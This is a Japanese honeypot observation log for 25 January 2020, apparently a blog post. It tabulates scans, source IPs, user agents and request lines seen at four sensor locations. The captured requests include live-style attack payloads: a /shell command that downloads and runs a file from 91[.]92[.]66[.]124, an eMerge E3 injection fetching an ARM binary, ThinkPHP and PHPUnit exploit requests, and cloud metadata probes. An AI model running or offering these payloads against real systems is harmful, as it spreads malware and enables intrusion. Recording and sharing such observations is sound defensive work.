ハニーポット(仮) 観測記録 2020/01/25分です。
特徴
Location:JP
Linear eMerge E3製品の脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
ZmEuによるスキャン行為
FreePBXへのスキャン行為
phpMyAdminへのスキャン行為
ThinkPHPへのスキャン行為
vtigercrmへのスキャン行為
を確認しました。
/shellに対して、コマンド実行を狙う以下のアクセスを確認しました。
cd /tmp; rm -rf .j; wget http:/\\/91[.]92[.]66[.]124/..j/.j; chmod 777 .j; sh .j; echo DONE
Location:US
PHPUnit(CVE-2017-9841)の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Tomcat管理画面へのスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。
/shellに対して、コマンド実行を狙う以下のアクセスを確認しました。
cd /tmp; rm -rf .j; wget http:/\\/91[.]92[.]66[.]124/..j/.j; chmod 777 .j; sh .j; echo DONE
Location:UK
Linear eMerge E3製品の脆弱性を狙うアクセス
PHPUnit(CVE-2017-9841)の脆弱性を狙うアクセス
ZmEuによるスキャン行為
Apache Tomcat管理画面へのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。
/shellに対して、コマンド実行を狙う以下のアクセスを確認しました。
cd /tmp; rm -rf .j; wget http:/\\/91[.]92[.]66[.]124/..j/.j; chmod 777 .j; sh .j; echo DONE
Location:SG
FreePBXへのスキャン行為
VoipSwitch製品へのスキャン行為
vtiger CRMへのスキャン行為
を確認しました。
/shellに対して、コマンド実行を狙う以下のアクセスを確認しました。
cd /tmp; rm -rf .j; wget http:/\\/91[.]92[.]66[.]124/..j/.j; chmod 777 .j; sh .j; echo DONE
他
アクセス数推移
JP:総アクセス数:88 (前日比:+28)
US:総アクセス数:20 (前日比:+2)
UK:総アクセス数:23 (前日比:-6)
SG:総アクセス数:12 (前日比:+2)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
3 | 106.12.189.136 | China |
1 | 138.197.159.68 | Canada |
1 | 176.113.115.51 | Russia |
1 | 176.58.124.134 | United Kingdom |
1 | 176.62.67.112 | Russia |
1 | 18.179.80.248 | Japan |
12 | 184.95.42.98 | United States |
18 | 194.180.224.124 | United Kingdom |
1 | 212.131.13.41 | Italy |
1 | 222.186.19.221 | China |
17 | 44.224.22.196 | United States |
17 | 44.225.84.206 | United States |
1 | 45.136.108.64 | Germany |
2 | 45.143.220.180 | Netherlands |
1 | 5.101.0.209 | Russia |
3 | 51.158.118.213 | France |
1 | 69.162.126.238 | United States |
1 | 74.80.28.217 | United States |
5 | 77.247.108.240 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
29 | - |
14 | AWS Security Scanner |
4 | Go-http-client/1.1 |
2 | libwww-perl/6.39 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
2 | Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 |
1 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 |
3 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 |
30 | ZmEu |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
10 | CONNECT | 18[.]179[.]20[.]5:80 | HTTP/1.0 |
1 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | //a2billing/admin/Public/index.php | HTTP/1.1 |
1 | GET | /card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7; | |
1 | GET | /.env | HTTP/1.1 |
1 | GET | /.git/config | HTTP/1.1 |
2 | GET | http://169[.]254[.]169[.]254/ | HTTP/1.1 |
2 | GET | http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document | HTTP/1.1 |
2 | GET | http://example[.]com/ | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/ | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document | HTTP/1.1 |
2 | GET | http://www[.]msftncsi[.]com/ncsi.txt | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
4 | GET | /latest/dynamic/instance-identity/document | HTTP/1.1 |
1 | GET | /market/detail?symbol=ethusdt | HTTP/1.1 |
5 | GET | /myadmin/scripts/setup.php | HTTP/1.1 |
5 | GET | /MyAdmin/scripts/setup.php | HTTP/1.1 |
5 | GET | /phpmyadmin/scripts/setup.php | HTTP/1.1 |
5 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
5 | GET | /pma/scripts/setup.php | HTTP/1.1 |
2 | GET | /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91[.]92[.]66[.]124/..j/.j;chmod+777+.j;sh+.j;echo+DONE | HTTP/1.1 |
1 | GET | /themes/default/images/logo.png | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /v2/_catalog | HTTP/1.1 |
1 | GET | //vtigercrm/vtigerservice.php | HTTP/1.1 |
5 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
2 | \x03 | ||
14 | \x16\x03\x01 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
6 | 159.203.63.70 | Canada |
1 | 172.104.242.173 | United States |
3 | 187.191.44.202 | Mexico |
5 | 193.57.40.38 | Ukraine |
1 | 220.162.247.161 | China |
1 | 222.186.19.221 | China |
1 | 24.178.166.79 | United States |
1 | 5.188.206.50 | United States |
1 | 62.234.78.54 | China |
UserAgent一覧
件数 | UserAgent |
---|---|
10 | - |
1 | Go-http-client/1.1 |
5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
2 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 |
1 | User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /muieblackcat | HTTP/1.1 |
1 | GET | //myadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | //MyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | //phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | //phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | //pma/scripts/setup.php | HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91[.]92[.]66[.]124/..j/.j;chmod+777+.j;sh+.j;echo+DONE | HTTP/1.1 |
1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
2 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
1 | \x03 | ||
2 | \x16\x03\x01 | ||
1 | \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 | X\xd4>\x12\x98\xc4<\xe0\x13\xcf |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
2 | 134.209.203.30 | Netherlands |
1 | 176.58.124.134 | United Kingdom |
6 | 185.234.217.19 | Ireland |
3 | 187.191.44.202 | Mexico |
1 | 222.186.19.221 | China |
6 | 223.112.190.70 | China |
2 | 5.101.0.209 | Russia |
1 | 80.22.20.166 | Italy |
1 | 86.176.135.61 | United Kingdom |
UserAgent一覧
件数 | UserAgent |
---|---|
5 | - |
1 | Go-http-client/1.1 |
2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 |
6 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 |
1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 |
1 | User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705 |
6 | ZmEu |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | /card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7; | |
1 | GET | /database/print.css | HTTP/1.1 |
1 | GET | /HNAP1/ | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /myadmin/print.css | HTTP/1.1 |
1 | GET | /myadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /MyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /mysql/print.css | HTTP/1.1 |
1 | GET | /phpmyadmin/print.css | HTTP/1.1 |
1 | GET | /phpMyAdmin/print.css | HTTP/1.1 |
1 | GET | /phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /pma/print.css | HTTP/1.1 |
1 | GET | /pma/scripts/setup.php | HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91[.]92[.]66[.]124/..j/.j;chmod+777+.j;sh+.j;echo+DONE | HTTP/1.1 |
1 | GET | /themes/default/images/logo.png | HTTP/1.1 |
1 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
1 | HEAD | / | HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
3 | \x16\x03\x01 |
Location:SG
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 176.113.115.51 | Russia |
1 | 195.208.135.38 | Russia |
1 | 222.186.19.221 | China |
1 | 49.205.211.56 | India |
1 | 69.162.126.238 | United States |
5 | 77.247.108.240 | Netherlands |
2 | 77.247.109.92 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
5 | - |
1 | Go-http-client/1.1 |
2 | libwww-perl/6.39 |
2 | libwww-perl/6.43 |
2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | //a2billing/admin/Public/index.php | HTTP/1.1 |
2 | GET | /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91[.]92[.]66[.]124/..j/.j;chmod+777+.j;sh+.j;echo+DONE | HTTP/1.1 |
1 | GET | /VSR3/Forms/Login/Login.aspx | HTTP/1.1 |
1 | GET | /VSR/Forms/Login/Login.aspx | HTTP/1.1 |
1 | GET | //vtigercrm/vtigerservice.php | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
1 | \x03 | ||
3 | \x16\x03\x01 |